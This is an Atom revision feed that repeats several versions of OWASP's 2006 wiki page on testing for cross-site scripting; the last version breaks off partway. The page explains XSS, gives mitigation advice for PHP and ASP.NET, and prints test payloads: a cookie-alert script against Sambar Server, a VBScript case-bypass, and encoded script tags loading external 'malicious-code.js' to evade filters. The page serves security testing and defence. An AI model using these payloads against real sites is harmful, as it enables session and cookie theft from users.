Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:&lt;br /&gt;
&lt;br /&gt;
''Example 1:''&lt;br /&gt;
&lt;br /&gt;
Since JavaScript is case sensitive, some people convert all characters to upper case, trying to render Cross Site Scripting useless. If this is the case, you may want to use VBScript.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''Example 2:''&lt;br /&gt;
&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://www.owasp.org/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e&lt;br /&gt;
&lt;br /&gt;
\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klien: DOM Based Cross Site Scripting - http://www.securiteam.com/securityreviews/5MP080KGKW.html&lt;br /&gt;
&lt;br /&gt;
* Jeremiah Grossman: Hacking Intranet Websites from the Outside &amp;quot;JavaScript malware just got a lot more dangerous&amp;quot; - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13660</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13660"/>
				<updated>2006-11-24T19:07:11Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:&lt;br /&gt;
&lt;br /&gt;
''Example 1:''&lt;br /&gt;
&lt;br /&gt;
Since JavaScript is case sensitive, some people convert all characters to upper case, trying to render Cross Site Scripting useless. If this is the case, you may want to use VBScript.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''Example 2:''&lt;br /&gt;
&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://www.owasp.org/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e&lt;br /&gt;
&lt;br /&gt;
\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13659</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13659"/>
				<updated>2006-11-24T19:06:12Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:&lt;br /&gt;
&lt;br /&gt;
''Example 1:''&lt;br /&gt;
Since JavaScript is case sensitive, some people convert all characters to upper case, trying to render Cross Site Scripting useless. If this is the case, you may want to use VBScript.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''Example 2:''&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://www.owasp.org/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e&lt;br /&gt;
&lt;br /&gt;
\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13658</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13658"/>
				<updated>2006-11-24T19:04:27Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
